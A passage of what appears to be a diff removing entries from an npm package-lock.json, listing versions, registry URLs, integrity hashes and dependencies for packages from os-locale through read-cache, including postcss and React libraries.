- "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==",
- "dependencies": {
- "deep-is": "^0.1.3",
- "fast-levenshtein": "^2.0.6",
- "levn": "^0.4.1",
- "prelude-ls": "^1.2.1",
- "type-check": "^0.4.0",
- "word-wrap": "^1.2.5"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/os-locale": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
- "integrity": "sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==",
- "dependencies": {
- "lcid": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/p-limit": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
- "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
- "dependencies": {
- "yocto-queue": "^0.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/p-locate": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
- "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
- "dependencies": {
- "p-limit": "^3.0.2"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/package-json-from-dist": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz",
- "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="
- },
- "node_modules/parent-module": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
- "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
- "dependencies": {
- "callsites": "^3.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/parse-entities": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz",
- "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==",
- "dependencies": {
- "@types/unist": "^2.0.0",
- "character-entities-legacy": "^3.0.0",
- "character-reference-invalid": "^2.0.0",
- "decode-named-character-reference": "^1.0.0",
- "is-alphanumerical": "^2.0.0",
- "is-decimal": "^2.0.0",
- "is-hexadecimal": "^2.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/parse-entities/node_modules/@types/unist": {
- "version": "2.0.11",
- "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz",
- "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="
- },
- "node_modules/parse5": {
- "version": "7.2.1",
- "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.2.1.tgz",
- "integrity": "sha512-BuBYQYlv1ckiPdQi/ohiivi9Sagc9JG+Ozs0r7b/0iK3sKmrb0b9FdWdBbOdx6hBCM/F9Ir82ofnBhtZOjCRPQ==",
- "dependencies": {
- "entities": "^4.5.0"
- },
- "funding": {
- "url": "https://github.com/inikulin/parse5?sponsor=1"
- }
- },
- "node_modules/path-exists": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
- "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/path-is-absolute": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
- "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/path-key": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
- "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/path-parse": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
- "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
- },
- "node_modules/path-scurry": {
- "version": "1.11.1",
- "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz",
- "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==",
- "dependencies": {
- "lru-cache": "^10.2.0",
- "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
- },
- "engines": {
- "node": ">=16 || 14 >=14.18"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/path-type": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
- "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/picocolors": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
- "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="
- },
- "node_modules/picomatch": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
- "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
- "engines": {
- "node": ">=8.6"
- },
- "funding": {
- "url": "https://github.com/sponsors/jonschlinkert"
- }
- },
- "node_modules/pify": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
- "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/pirates": {
- "version": "4.0.6",
- "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz",
- "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/possible-typed-array-names": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz",
- "integrity": "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/postcss": {
- "version": "8.4.49",
- "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.49.tgz",
- "integrity": "sha512-OCVPnIObs4N29kxTjzLfUryOkvZEq+pf8jTF0lg8E7uETuWHA+v7j3c/xJmiqpX450191LlmZfUKkXxkTry7nA==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/postcss"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "nanoid": "^3.3.7",
- "picocolors": "^1.1.1",
- "source-map-js": "^1.2.1"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- }
- },
- "node_modules/postcss-import": {
- "version": "15.1.0",
- "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
- "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
- "dependencies": {
- "postcss-value-parser": "^4.0.0",
- "read-cache": "^1.0.0",
- "resolve": "^1.1.7"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "postcss": "^8.0.0"
- }
- },
- "node_modules/postcss-js": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
- "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==",
- "dependencies": {
- "camelcase-css": "^2.0.1"
- },
- "engines": {
- "node": "^12 || ^14 || >= 16"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- "peerDependencies": {
- "postcss": "^8.4.21"
- }
- },
- "node_modules/postcss-load-config": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz",
- "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "lilconfig": "^3.0.0",
- "yaml": "^2.3.4"
- },
- "engines": {
- "node": ">= 14"
- },
- "peerDependencies": {
- "postcss": ">=8.0.9",
- "ts-node": ">=9.0.0"
- },
- "peerDependenciesMeta": {
- "postcss": {
- "optional": true
- },
- "ts-node": {
- "optional": true
- }
- }
- },
- "node_modules/postcss-nested": {
- "version": "6.2.0",
- "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz",
- "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "postcss-selector-parser": "^6.1.1"
- },
- "engines": {
- "node": ">=12.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.14"
- }
- },
- "node_modules/postcss-selector-parser": {
- "version": "6.1.2",
- "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz",
- "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==",
- "dependencies": {
- "cssesc": "^3.0.0",
- "util-deprecate": "^1.0.2"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/postcss-value-parser": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
- "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="
- },
- "node_modules/prelude-ls": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
- "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/prismjs": {
- "version": "1.30.0",
- "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.30.0.tgz",
- "integrity": "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/process": {
- "version": "0.11.10",
- "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
- "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==",
- "license": "MIT",
- "engines": {
- "node": ">= 0.6.0"
- }
- },
- "node_modules/prop-types": {
- "version": "15.8.1",
- "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
- "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",
- "dependencies": {
- "loose-envify": "^1.4.0",
- "object-assign": "^4.1.1",
- "react-is": "^16.13.1"
- }
- },
- "node_modules/property-information": {
- "version": "6.5.0",
- "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.5.0.tgz",
- "integrity": "sha512-PgTgs/BlvHxOu8QuEN7wi5A0OmXaBcHpmCSTehcs6Uuu9IkDIEo13Hy7n898RHfrQ49vKCoGeWZSaAK01nwVig==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/proxy-from-env": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
- "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
- },
- "node_modules/punycode": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
- "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/querystringify": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
- "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==",
- "license": "MIT"
- },
- "node_modules/queue-microtask": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
- "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ]
- },
- "node_modules/ramda": {
- "version": "0.30.1",
- "resolved": "https://registry.npmjs.org/ramda/-/ramda-0.30.1.tgz",
- "integrity": "sha512-tEF5I22zJnuclswcZMc8bDIrwRHRzf+NqVEmqg50ShAZMP7MWeR/RGDthfM/p+BlqvF2fXAzpn8i+SJcYD3alw==",
- "license": "MIT",
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/ramda"
- }
- },
- "node_modules/ramda-adjunct": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/ramda-adjunct/-/ramda-adjunct-5.1.0.tgz",
- "integrity": "sha512-8qCpl2vZBXEJyNbi4zqcgdfHtcdsWjOGbiNSEnEBrM6Y0OKOT8UxJbIVGm1TIcjaSu2MxaWcgtsNlKlCk7o7qg==",
- "license": "BSD-3-Clause",
- "engines": {
- "node": ">=0.10.3"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/ramda-adjunct"
- },
- "peerDependencies": {
- "ramda": ">= 0.30.0"
- }
- },
- "node_modules/randexp": {
- "version": "0.5.3",
- "resolved": "https://registry.npmjs.org/randexp/-/randexp-0.5.3.tgz",
- "integrity": "sha512-U+5l2KrcMNOUPYvazA3h5ekF80FHTUG+87SEAmHZmolh1M+i/WyTCxVzmi+tidIa1tM4BSe8g2Y/D3loWDjj+w==",
- "license": "MIT",
- "dependencies": {
- "drange": "^1.0.2",
- "ret": "^0.2.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/randombytes": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
- "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
- "license": "MIT",
- "dependencies": {
- "safe-buffer": "^5.1.0"
- }
- },
- "node_modules/react": {
- "version": "18.3.1",
- "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz",
- "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==",
- "dependencies": {
- "loose-envify": "^1.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/react-copy-to-clipboard": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.1.0.tgz",
- "integrity": "sha512-k61RsNgAayIJNoy9yDsYzDe/yAZAzEbEgcz3DZMhF686LEyukcE1hzurxe85JandPUG+yTfGVFzuEw3xt8WP/A==",
- "license": "MIT",
- "dependencies": {
- "copy-to-clipboard": "^3.3.1",
- "prop-types": "^15.8.1"
- },
- "peerDependencies": {
- "react": "^15.3.0 || 16 || 17 || 18"
- }
- },
- "node_modules/react-day-picker": {
- "version": "8.10.1",
- "resolved": "https://registry.npmjs.org/react-day-picker/-/react-day-picker-8.10.1.tgz",
- "integrity": "sha512-TMx7fNbhLk15eqcMt+7Z7S2KF7mfTId/XJDjKE8f+IUcFn0l08/kI4FiYTL/0yuOLmEcbR4Fwe3GJf/NiiMnPA==",
- "funding": {
- "type": "individual",
- "url": "https://github.com/sponsors/gpbl"
- },
- "peerDependencies": {
- "date-fns": "^2.28.0 || ^3.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- }
- },
- "node_modules/react-debounce-input": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/react-debounce-input/-/react-debounce-input-3.3.0.tgz",
- "integrity": "sha512-VEqkvs8JvY/IIZvh71Z0TC+mdbxERvYF33RcebnodlsUZ8RSgyKe2VWaHXv4+/8aoOgXLxWrdsYs2hDhcwbUgA==",
- "license": "MIT",
- "dependencies": {
- "lodash.debounce": "^4",
- "prop-types": "^15.8.1"
- },
- "peerDependencies": {
- "react": "^15.3.0 || 16 || 17 || 18"
- }
- },
- "node_modules/react-dom": {
- "version": "18.3.1",
- "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz",
- "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==",
- "dependencies": {
- "loose-envify": "^1.1.0",
- "scheduler": "^0.23.2"
- },
- "peerDependencies": {
- "react": "^18.3.1"
- }
- },
- "node_modules/react-hook-form": {
- "version": "7.54.1",
- "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.54.1.tgz",
- "integrity": "sha512-PUNzFwQeQ5oHiiTUO7GO/EJXGEtuun2Y1A59rLnZBBj+vNEOWt/3ERTiG1/zt7dVeJEM+4vDX/7XQ/qanuvPMg==",
- "engines": {
- "node": ">=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/react-hook-form"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17 || ^18 || ^19"
- }
- },
- "node_modules/react-immutable-proptypes": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/react-immutable-proptypes/-/react-immutable-proptypes-2.2.0.tgz",
- "integrity": "sha512-Vf4gBsePlwdGvSZoLSBfd4HAP93HDauMY4fDjXhreg/vg6F3Fj/MXDNyTbltPC/xZKmZc+cjLu3598DdYK6sgQ==",
- "license": "MIT",
- "dependencies": {
- "invariant": "^2.2.2"
- },
- "peerDependencies": {
- "immutable": ">=3.6.2"
- }
- },
- "node_modules/react-immutable-pure-component": {
- "version": "2.2.2",
- "resolved": "https://registry.npmjs.org/react-immutable-pure-component/-/react-immutable-pure-component-2.2.2.tgz",
- "integrity": "sha512-vkgoMJUDqHZfXXnjVlG3keCxSO/U6WeDQ5/Sl0GK2cH8TOxEzQ5jXqDXHEL/jqk6fsNxV05oH5kD7VNMUE2k+A==",
- "license": "MIT",
- "peerDependencies": {
- "immutable": ">= 2 || >= 4.0.0-rc",
- "react": ">= 16.6",
- "react-dom": ">= 16.6"
- }
- },
- "node_modules/react-inspector": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/react-inspector/-/react-inspector-6.0.2.tgz",
- "integrity": "sha512-x+b7LxhmHXjHoU/VrFAzw5iutsILRoYyDq97EDYdFpPLcvqtEzk4ZSZSQjnFPbr5T57tLXnHcqFYoN1pI6u8uQ==",
- "license": "MIT",
- "peerDependencies": {
- "react": "^16.8.4 || ^17.0.0 || ^18.0.0"
- }
- },
- "node_modules/react-is": {
- "version": "16.13.1",
- "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
- "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
- },
- "node_modules/react-markdown": {
- "version": "9.0.3",
- "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-9.0.3.tgz",
- "integrity": "sha512-Yk7Z94dbgYTOrdk41Z74GoKA7rThnsbbqBTRYuxoe08qvfQ9tJVhmAKw6BJS/ZORG7kTy/s1QvYzSuaoBA1qfw==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "devlop": "^1.0.0",
- "hast-util-to-jsx-runtime": "^2.0.0",
- "html-url-attributes": "^3.0.0",
- "mdast-util-to-hast": "^13.0.0",
- "remark-parse": "^11.0.0",
- "remark-rehype": "^11.0.0",
- "unified": "^11.0.0",
- "unist-util-visit": "^5.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- },
- "peerDependencies": {
- "@types/react": ">=18",
- "react": ">=18"
- }
- },
- "node_modules/react-redux": {
- "version": "9.2.0",
- "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz",
- "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==",
- "license": "MIT",
- "dependencies": {
- "@types/use-sync-external-store": "^0.0.6",
- "use-sync-external-store": "^1.4.0"
- },
- "peerDependencies": {
- "@types/react": "^18.2.25 || ^19",
- "react": "^18.0 || ^19",
- "redux": "^5.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "redux": {
- "optional": true
- }
- }
- },
- "node_modules/react-remove-scroll": {
- "version": "2.6.0",
- "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.6.0.tgz",
- "integrity": "sha512-I2U4JVEsQenxDAKaVa3VZ/JeJZe0/2DxPWL8Tj8yLKctQJQiZM52pn/GWFpSp8dftjM3pSAHVJZscAnC/y+ySQ==",
- "dependencies": {
- "react-remove-scroll-bar": "^2.3.6",
- "react-style-singleton": "^2.2.1",
- "tslib": "^2.1.0",
- "use-callback-ref": "^1.3.0",
- "use-sidecar": "^1.1.2"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/react-remove-scroll-bar": {
- "version": "2.3.6",
- "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.6.tgz",
- "integrity": "sha512-DtSYaao4mBmX+HDo5YWYdBWQwYIQQshUV/dVxFxK+KM26Wjwp1gZ6rv6OC3oujI6Bfu6Xyg3TwK533AQutsn/g==",
- "dependencies": {
- "react-style-singleton": "^2.2.1",
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/react-resizable-panels": {
- "version": "2.1.7",
- "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-2.1.7.tgz",
- "integrity": "sha512-JtT6gI+nURzhMYQYsx8DKkx6bSoOGFp7A3CwMrOb8y5jFHFyqwo9m68UhmXRw57fRVJksFn1TSlm3ywEQ9vMgA==",
- "peerDependencies": {
- "react": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc",
- "react-dom": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"
- }
- },
- "node_modules/react-smooth": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/react-smooth/-/react-smooth-4.0.3.tgz",
- "integrity": "sha512-PyxIrra8WZWrMRFcCiJsZ+JqFaxEINAt+v/w++wQKQlmO99Eh3+JTLeKApdTsLX2roBdWYXqPsaS8sO4UmdzIg==",
- "dependencies": {
- "fast-equals": "^5.0.1",
- "prop-types": "^15.8.1",
- "react-transition-group": "^4.4.5"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0"
- }
- },
- "node_modules/react-style-singleton": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz",
- "integrity": "sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==",
- "dependencies": {
- "get-nonce": "^1.0.0",
- "invariant": "^2.2.4",
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/react-syntax-highlighter": {
- "version": "15.6.6",
- "resolved": "https://registry.npmjs.org/react-syntax-highlighter/-/react-syntax-highlighter-15.6.6.tgz",
- "integrity": "sha512-DgXrc+AZF47+HvAPEmn7Ua/1p10jNoVZVI/LoPiYdtY+OM+/nG5yefLHKJwdKqY1adMuHFbeyBaG9j64ML7vTw==",
- "license": "MIT",
- "dependencies": {
- "@babel/runtime": "^7.3.1",
- "highlight.js": "^10.4.1",
- "highlightjs-vue": "^1.0.0",
- "lowlight": "^1.17.0",
- "prismjs": "^1.30.0",
- "refractor": "^3.6.0"
- },
- "peerDependencies": {
- "react": ">= 0.14.0"
- }
- },
- "node_modules/react-transition-group": {
- "version": "4.4.5",
- "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz",
- "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==",
- "dependencies": {
- "@babel/runtime": "^7.5.5",
- "dom-helpers": "^5.0.1",
- "loose-envify": "^1.4.0",
- "prop-types": "^15.6.2"
- },
- "peerDependencies": {
- "react": ">=16.6.0",
- "react-dom": ">=16.6.0"
- }
- },
- "node_modules/read-cache": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
